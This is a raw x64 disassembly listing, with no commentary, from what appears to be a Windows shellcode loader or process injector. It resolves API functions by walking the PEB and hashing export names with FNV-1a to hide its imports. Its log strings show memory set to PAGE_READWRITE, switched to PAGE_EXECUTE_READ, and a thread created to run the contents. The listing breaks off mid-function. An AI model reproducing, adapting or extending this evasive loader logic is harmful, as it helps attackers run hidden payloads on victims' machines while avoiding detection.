mov dword [rsp + 0x108], eax
mov eax, dword [rsp + 0x10c]
mov ecx, dword [rsp + 0x108]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x6f4], eax
jmp 0x140017780
mov eax, dword [rsp + 0x6f4]
movabs rcx, 0x1974781db8261bdd
mov qword [rsp + 0x720], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x720]
cmp eax, ecx
je 0x1400178b8
jmp 0x1400176e1
jmp 0x140017882
lea rax, [rsp + 0x11e8]
mov qword [rsp + 0x748], rax
mov rax, qword [rsp + 0x748]
mov rcx, qword [rax]
mov qword [rsp + 0x760], rcx
mov rcx, qword [rsp + 0x760]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14001760b
mov eax, dword [rsp + 0x6bc]
mov dword [rsp + 0x744], eax
lea rax, [rsp + 0x11d0]
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0x738]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x730], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x728], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x730]
mov rdx, qword [rsp + 0x728]
mov r8d, dword [rsp + 0x744]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x6c0], rax
mov rax, qword [rsp + 0x6c0]
mov rcx, qword [rsp + 0x1f0]
mov r8, qword [rcx]
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1e0]
call rax
lea rax, [rsp + 0x10a0]
mov qword [rsp + 0x210], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x208], rax
lea rax, str._8s____Address:__t_t0x_p_n
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x1091]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0x1210]
mov qword [rsp + 0x778], rax
mov rax, qword [rsp + 0x778]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1210]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x788], rax
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0x780], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x788]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x788]
mov qword [rsp + 0x800], rcx
mov rcx, qword [rsp + 0x800]
mov rdx, qword [rsp + 0x800]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1218], rcx
mov rcx, qword [rsp + 0x788]
mov edx, dword [rsp + 0x1218]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x121c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0x790], rax
mov rcx, qword [rsp + 0x790]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140017c3c
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0x798], rax
mov rax, qword [rsp + 0x798]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x76c], eax
mov eax, dword [rsp + 0x76c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x76c], ecx
cmp eax, 0
je 0x140017c37
movabs rax, 0x9002cefaae6fac18
mov qword [rsp + 0x7b8], rax
mov rax, qword [rsp + 0x7b8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x76c]
mov dword [rsp + 0x7cc], eax
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0x7c0], rax
mov r8, qword [rsp + 0x7c0]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x7cc]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x7b4], ecx
mov qword [rsp + 0x7a8], rax
mov eax, dword [rsp + 0x7b4]
mov dword [rsp + 0x7a4], eax
mov rax, qword [rsp + 0x7a8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x7a8], rcx
mov al, byte [rax]
mov byte [rsp + 0x7a3], al
cmp byte [rsp + 0x7a3], 0
je 0x140017bff
mov cl, byte [rsp + 0x7a3]
mov eax, dword [rsp + 0x7a4]
mov byte [rsp + 0x80f], cl
mov dword [rsp + 0x808], eax
mov eax, dword [rsp + 0x808]
mov dword [rsp + 0x104], eax
movsx eax, byte [rsp + 0x80f]
cmp eax, 0x41
jl 0x140017bcb
movsx eax, byte [rsp + 0x80f]
cmp eax, 0x5a
jg 0x140017bcb
movsx eax, byte [rsp + 0x80f]
or eax, 0x20
mov dword [rsp + 0x100], eax
jmp 0x140017bda
movsx eax, byte [rsp + 0x80f]
mov dword [rsp + 0x100], eax
mov eax, dword [rsp + 0x104]
mov ecx, dword [rsp + 0x100]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x7a4], eax
jmp 0x140017b3a
mov eax, dword [rsp + 0x7a4]
movabs rcx, 0x9002cefaae6fac18
mov qword [rsp + 0x7d0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x7d0]
cmp eax, ecx
je 0x140017c72
jmp 0x140017a9b
jmp 0x140017c3c
lea rax, [rsp + 0x1210]
mov qword [rsp + 0x7f8], rax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rax]
mov qword [rsp + 0x810], rcx
mov rcx, qword [rsp + 0x810]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x1400179c5
mov eax, dword [rsp + 0x76c]
mov dword [rsp + 0x7f4], eax
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0x7e8], rax
mov rax, qword [rsp + 0x7e8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x7e0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x7d8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e0]
mov rdx, qword [rsp + 0x7d8]
mov r8d, dword [rsp + 0x7f4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x770], rax
mov rax, qword [rsp + 0x770]
mov rcx, qword [rsp + 0x210]
mov r8, qword [rcx]
mov rdx, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x200]
call rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x228], rax
lea rax, str._8s____Protection:__tPAGE_READWRITE_n
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x1090]
mov qword [rsp + 0x218], rax
lea rax, [rsp + 0x1238]
mov qword [rsp + 0x828], rax
mov rax, qword [rsp + 0x828]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x838], rax
lea rax, [rsp + 0x1220]
mov qword [rsp + 0x830], rax
mov rax, qword [rsp + 0x830]
mov rcx, qword [rsp + 0x838]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x838]
mov qword [rsp + 0x8b0], rcx
mov rcx, qword [rsp + 0x8b0]
mov rdx, qword [rsp + 0x8b0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1240], rcx
mov rcx, qword [rsp + 0x838]
mov edx, dword [rsp + 0x1240]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x1244]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1220]
mov qword [rsp + 0x840], rax
mov rcx, qword [rsp + 0x840]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140017fe6
lea rax, [rsp + 0x1220]
mov qword [rsp + 0x848], rax
mov rax, qword [rsp + 0x848]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x81c], eax
mov eax, dword [rsp + 0x81c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x81c], ecx
cmp eax, 0
je 0x140017fe1
movabs rax, 0xb2e2c705afed8ea
mov qword [rsp + 0x868], rax
mov rax, qword [rsp + 0x868]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x81c]
mov dword [rsp + 0x87c], eax
lea rax, [rsp + 0x1220]
mov qword [rsp + 0x870], rax
mov r8, qword [rsp + 0x870]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x87c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x864], ecx
mov qword [rsp + 0x858], rax
mov eax, dword [rsp + 0x864]
mov dword [rsp + 0x854], eax
mov rax, qword [rsp + 0x858]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x858], rcx
mov al, byte [rax]
mov byte [rsp + 0x853], al
cmp byte [rsp + 0x853], 0
je 0x140017fa9
mov cl, byte [rsp + 0x853]
mov eax, dword [rsp + 0x854]
mov byte [rsp + 0x8bf], cl
mov dword [rsp + 0x8b8], eax
mov eax, dword [rsp + 0x8b8]
mov dword [rsp + 0xfc], eax
movsx eax, byte [rsp + 0x8bf]
cmp eax, 0x41
jl 0x140017f75
movsx eax, byte [rsp + 0x8bf]
cmp eax, 0x5a
jg 0x140017f75
movsx eax, byte [rsp + 0x8bf]
or eax, 0x20
mov dword [rsp + 0xf8], eax
jmp 0x140017f84
movsx eax, byte [rsp + 0x8bf]
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0xfc]
mov ecx, dword [rsp + 0xf8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x854], eax
jmp 0x140017ee4
mov eax, dword [rsp + 0x854]
movabs rcx, 0xb2e2c705afed8ea
mov qword [rsp + 0x880], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x880]
cmp eax, ecx
je 0x14001801c
jmp 0x140017e45
jmp 0x140017fe6
lea rax, [rsp + 0x1238]
mov qword [rsp + 0x8a8], rax
mov rax, qword [rsp + 0x8a8]
mov rcx, qword [rax]
mov qword [rsp + 0x8c0], rcx
mov rcx, qword [rsp + 0x8c0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140017d6f
mov eax, dword [rsp + 0x81c]
mov dword [rsp + 0x8a4], eax
lea rax, [rsp + 0x1220]
mov qword [rsp + 0x898], rax
mov rax, qword [rsp + 0x898]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x890], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x888], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x890]
mov rdx, qword [rsp + 0x888]
mov r8d, dword [rsp + 0x8a4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x820], rax
mov rax, qword [rsp + 0x820]
mov rdx, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x220]
call rax
mov rdx, qword [rsp + 0x10a0]
mov rcx, qword [rsp + 0x10f0]
call fcn.140002710
mov edx, dword [0x14004c018]
lea rcx, [rsp + 0x1088]
mov qword [rsp + 0xf0], rcx
call fcn.140003320
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x10f0]
mov rax, rsp
lea r8, [rsp + 0x108c]
mov qword [rax + 0x28], r8
mov dword [rax + 0x20], 0x20
lea r8, [rsp + 0x10a0]
lea r9, [rsp + 0x1098]
call fcn.140008490
lea rax, [0x14002d4c0]
mov qword [rsp + 0x240], rax
lea rax, str._4s___Memory_protection_changed_n
mov qword [rsp + 0x238], rax
lea rax, [rsp + 0x1087]
mov qword [rsp + 0x230], rax
lea rax, [rsp + 0x1260]
mov qword [rsp + 0x8d8], rax
mov rax, qword [rsp + 0x8d8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1260]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x8e8], rax
lea rax, [rsp + 0x1248]
mov qword [rsp + 0x8e0], rax
mov rax, qword [rsp + 0x8e0]
mov rcx, qword [rsp + 0x8e8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x8e8]
mov qword [rsp + 0x960], rcx
mov rcx, qword [rsp + 0x960]
mov rdx, qword [rsp + 0x960]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1268], rcx
mov rcx, qword [rsp + 0x8e8]
mov edx, dword [rsp + 0x1268]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x126c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1248]
mov qword [rsp + 0x8f0], rax
mov rcx, qword [rsp + 0x8f0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x1400183f0
lea rax, [rsp + 0x1248]
mov qword [rsp + 0x8f8], rax
mov rax, qword [rsp + 0x8f8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x8cc], eax
mov eax, dword [rsp + 0x8cc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x8cc], ecx
cmp eax, 0
je 0x1400183eb
movabs rax, 0xb7277995974f7c05
mov qword [rsp + 0x918], rax
mov rax, qword [rsp + 0x918]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x8cc]
mov dword [rsp + 0x92c], eax
lea rax, [rsp + 0x1248]
mov qword [rsp + 0x920], rax
mov r8, qword [rsp + 0x920]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x92c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x914], ecx
mov qword [rsp + 0x908], rax
mov eax, dword [rsp + 0x914]
mov dword [rsp + 0x904], eax
mov rax, qword [rsp + 0x908]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x908], rcx
mov al, byte [rax]
mov byte [rsp + 0x903], al
cmp byte [rsp + 0x903], 0
je 0x1400183b3
mov cl, byte [rsp + 0x903]
mov eax, dword [rsp + 0x904]
mov byte [rsp + 0x96f], cl
mov dword [rsp + 0x968], eax
mov eax, dword [rsp + 0x968]
mov dword [rsp + 0xec], eax
movsx eax, byte [rsp + 0x96f]
cmp eax, 0x41
jl 0x14001837f
movsx eax, byte [rsp + 0x96f]
cmp eax, 0x5a
jg 0x14001837f
movsx eax, byte [rsp + 0x96f]
or eax, 0x20
mov dword [rsp + 0xe8], eax
jmp 0x14001838e
movsx eax, byte [rsp + 0x96f]
mov dword [rsp + 0xe8], eax
mov eax, dword [rsp + 0xec]
mov ecx, dword [rsp + 0xe8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x904], eax
jmp 0x1400182ee
mov eax, dword [rsp + 0x904]
movabs rcx, 0xb7277995974f7c05
mov qword [rsp + 0x930], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x930]
cmp eax, ecx
je 0x140018426
jmp 0x14001824f
jmp 0x1400183f0
lea rax, [rsp + 0x1260]
mov qword [rsp + 0x958], rax
mov rax, qword [rsp + 0x958]
mov rcx, qword [rax]
mov qword [rsp + 0x970], rcx
mov rcx, qword [rsp + 0x970]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140018179
mov eax, dword [rsp + 0x8cc]
mov dword [rsp + 0x954], eax
lea rax, [rsp + 0x1248]
mov qword [rsp + 0x948], rax
mov rax, qword [rsp + 0x948]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x940], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x938], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x940]
mov rdx, qword [rsp + 0x938]
mov r8d, dword [rsp + 0x954]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x8d0], rax
mov rax, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x238]
call rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x258], rax
lea rax, str._8s____Protection:__tPAGE_EXECUTE_READ_n
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x1086]
mov qword [rsp + 0x248], rax
lea rax, [rsp + 0x1288]
mov qword [rsp + 0x988], rax
mov rax, qword [rsp + 0x988]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1288]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x998], rax
lea rax, [rsp + 0x1270]
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0x990]
mov rcx, qword [rsp + 0x998]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x998]
mov qword [rsp + 0xa10], rcx
mov rcx, qword [rsp + 0xa10]
mov rdx, qword [rsp + 0xa10]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1290], rcx
mov rcx, qword [rsp + 0x998]
mov edx, dword [rsp + 0x1290]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x1294]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1270]
mov qword [rsp + 0x9a0], rax
mov rcx, qword [rsp + 0x9a0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14001878f
lea rax, [rsp + 0x1270]
mov qword [rsp + 0x9a8], rax
mov rax, qword [rsp + 0x9a8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x97c], eax
mov eax, dword [rsp + 0x97c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x97c], ecx
cmp eax, 0
je 0x14001878a
movabs rax, 0x9506bcb905966f31
mov qword [rsp + 0x9c8], rax
mov rax, qword [rsp + 0x9c8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x97c]
mov dword [rsp + 0x9dc], eax
lea rax, [rsp + 0x1270]
mov qword [rsp + 0x9d0], rax
mov r8, qword [rsp + 0x9d0]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x9dc]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x9c4], ecx
mov qword [rsp + 0x9b8], rax
mov eax, dword [rsp + 0x9c4]
mov dword [rsp + 0x9b4], eax
mov rax, qword [rsp + 0x9b8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x9b8], rcx
mov al, byte [rax]
mov byte [rsp + 0x9b3], al
cmp byte [rsp + 0x9b3], 0
je 0x140018752
mov cl, byte [rsp + 0x9b3]
mov eax, dword [rsp + 0x9b4]
mov byte [rsp + 0xa1f], cl
mov dword [rsp + 0xa18], eax
mov eax, dword [rsp + 0xa18]
mov dword [rsp + 0xe4], eax
movsx eax, byte [rsp + 0xa1f]
cmp eax, 0x41
jl 0x14001871e
movsx eax, byte [rsp + 0xa1f]
cmp eax, 0x5a
jg 0x14001871e
movsx eax, byte [rsp + 0xa1f]
or eax, 0x20
mov dword [rsp + 0xe0], eax
jmp 0x14001872d
movsx eax, byte [rsp + 0xa1f]
mov dword [rsp + 0xe0], eax
mov eax, dword [rsp + 0xe4]
mov ecx, dword [rsp + 0xe0]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x9b4], eax
jmp 0x14001868d
mov eax, dword [rsp + 0x9b4]
movabs rcx, 0x9506bcb905966f31
mov qword [rsp + 0x9e0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x9e0]
cmp eax, ecx
je 0x1400187c5
jmp 0x1400185ee
jmp 0x14001878f
lea rax, [rsp + 0x1288]
mov qword [rsp + 0xa08], rax
mov rax, qword [rsp + 0xa08]
mov rcx, qword [rax]
mov qword [rsp + 0xa20], rcx
mov rcx, qword [rsp + 0xa20]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140018518
mov eax, dword [rsp + 0x97c]
mov dword [rsp + 0xa04], eax
lea rax, [rsp + 0x1270]
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x9f8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x9f0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x9e8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f0]
mov rdx, qword [rsp + 0x9e8]
mov r8d, dword [rsp + 0xa04]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x980], rax
mov rax, qword [rsp + 0x980]
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0x250]
call rax
mov qword [rsp + 0x1078], 0
mov edx, dword [0x14004c044]
lea rcx, [rsp + 0x1074]
mov qword [rsp + 0xc8], rcx
call fcn.140003320
mov rcx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0x10a0]
mov rdx, qword [rsp + 0x10f0]
mov rax, rsp
mov qword [rsp + 0xd0], rax
mov qword [rax + 0x28], r8
mov qword [rax + 0x20], rdx
mov qword [rax + 0x58], 0
mov qword [rax + 0x50], 0
mov qword [rax + 0x48], 0
mov qword [rax + 0x40], 0
mov dword [rax + 0x38], 1
mov qword [rax + 0x30], 0
xor eax, eax
mov r9d, eax
lea rdx, [rsp + 0x1078]
mov qword [rsp + 0xd8], rdx
mov r8d, 0x20000000
call fcn.140016000
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x268], rax
lea rax, [rsp + 0x106f]
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0xa38], rax
mov rax, qword [rsp + 0xa38]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12b0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xa48], rax
lea rax, [rsp + 0x1298]
mov qword [rsp + 0xa40], rax
mov rax, qword [rsp + 0xa40]
mov rcx, qword [rsp + 0xa48]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xa48]
mov qword [rsp + 0xac0], rcx
mov rcx, qword [rsp + 0xac0]
mov rdx, qword [rsp + 0xac0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x12b8], rcx
mov rcx, qword [rsp + 0xa48]
mov edx, dword [rsp + 0x12b8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x12bc]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1298]
mov qword [rsp + 0xa50], rax
mov rcx, qword [rsp + 0xa50]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140018bc1
lea rax, [rsp + 0x1298]
mov qword [rsp + 0xa58], rax
mov rax, qword [rsp + 0xa58]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xa2c], eax
mov eax, dword [rsp + 0xa2c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xa2c], ecx
cmp eax, 0
je 0x140018bbc
movabs rax, 0x110f02f5e98e5a4a
mov qword [rsp + 0xa78], rax
mov rax, qword [rsp + 0xa78]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xa2c]
mov dword [rsp + 0xa8c], eax
lea rax, [rsp + 0x1298]
mov qword [rsp + 0xa80], rax
mov r8, qword [rsp + 0xa80]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xa8c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xa74], ecx
mov qword [rsp + 0xa68], rax
mov eax, dword [rsp + 0xa74]
mov dword [rsp + 0xa64], eax
mov rax, qword [rsp + 0xa68]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xa68], rcx
mov al, byte [rax]
mov byte [rsp + 0xa63], al
cmp byte [rsp + 0xa63], 0
je 0x140018b84
mov cl, byte [rsp + 0xa63]
mov eax, dword [rsp + 0xa64]
mov byte [rsp + 0xacf], cl
mov dword [rsp + 0xac8], eax
mov eax, dword [rsp + 0xac8]
mov dword [rsp + 0xc4], eax
movsx eax, byte [rsp + 0xacf]
cmp eax, 0x41
jl 0x140018b50
movsx eax, byte [rsp + 0xacf]
cmp eax, 0x5a
jg 0x140018b50
movsx eax, byte [rsp + 0xacf]
or eax, 0x20
mov dword [rsp + 0xc0], eax
jmp 0x140018b5f
movsx eax, byte [rsp + 0xacf]
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xc0]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xa64], eax
jmp 0x140018abf
mov eax, dword [rsp + 0xa64]
movabs rcx, 0x110f02f5e98e5a4a
mov qword [rsp + 0xa90], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xa90]
cmp eax, ecx
je 0x140018bf7
jmp 0x140018a20
jmp 0x140018bc1
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0xab8]
mov rcx, qword [rax]
mov qword [rsp + 0xad0], rcx
mov rcx, qword [rsp + 0xad0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14001894a
mov eax, dword [rsp + 0xa2c]
mov dword [rsp + 0xab4], eax
lea rax, [rsp + 0x1298]
mov qword [rsp + 0xaa8], rax
mov rax, qword [rsp + 0xaa8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xaa0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xa98], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa0]
mov rdx, qword [rsp + 0xa98]
mov r8d, dword [rsp + 0xab4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xa30], rax
mov rax, qword [rsp + 0xa30]
mov rcx, qword [rsp + 0x268]
mov rcx, qword [rcx]
call rax
mov dword [rsp + 0x1070], eax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x280], rax
lea rax, str._4s___Thread_created_n
mov qword [rsp + 0x278], rax
lea rax, [rsp + 0x106e]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x12d8]
mov qword [rsp + 0xae8], rax
mov rax, qword [rsp + 0xae8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12d8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xaf8], rax
lea rax, [rsp + 0x12c0]
mov qword [rsp + 0xaf0], rax
mov rax, qword [rsp + 0xaf0]
mov rcx, qword [rsp + 0xaf8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xaf8]
mov qword [rsp + 0xb70], rcx
mov rcx, qword [rsp + 0xb70]
mov rdx, qword [rsp + 0xb70]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x12e0], rcx
mov rcx, qword [rsp + 0xaf8]
mov edx, dword [rsp + 0x12e0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x12e4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x12c0]
mov qword [rsp + 0xb00], rax
mov rcx, qword [rsp + 0xb00]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140018f62
lea rax, [rsp + 0x12c0]
mov qword [rsp + 0xb08], rax
mov rax, qword [rsp + 0xb08]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xadc], eax
mov eax, dword [rsp + 0xadc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xadc], ecx
cmp eax, 0
je 0x140018f5d
movabs rax, 0x80a65183c46b1a27
mov qword [rsp + 0xb28], rax
mov rax, qword [rsp + 0xb28]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xadc]
mov dword [rsp + 0xb3c], eax
lea rax, [rsp + 0x12c0]
mov qword [rsp + 0xb30], rax
mov r8, qword [rsp + 0xb30]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
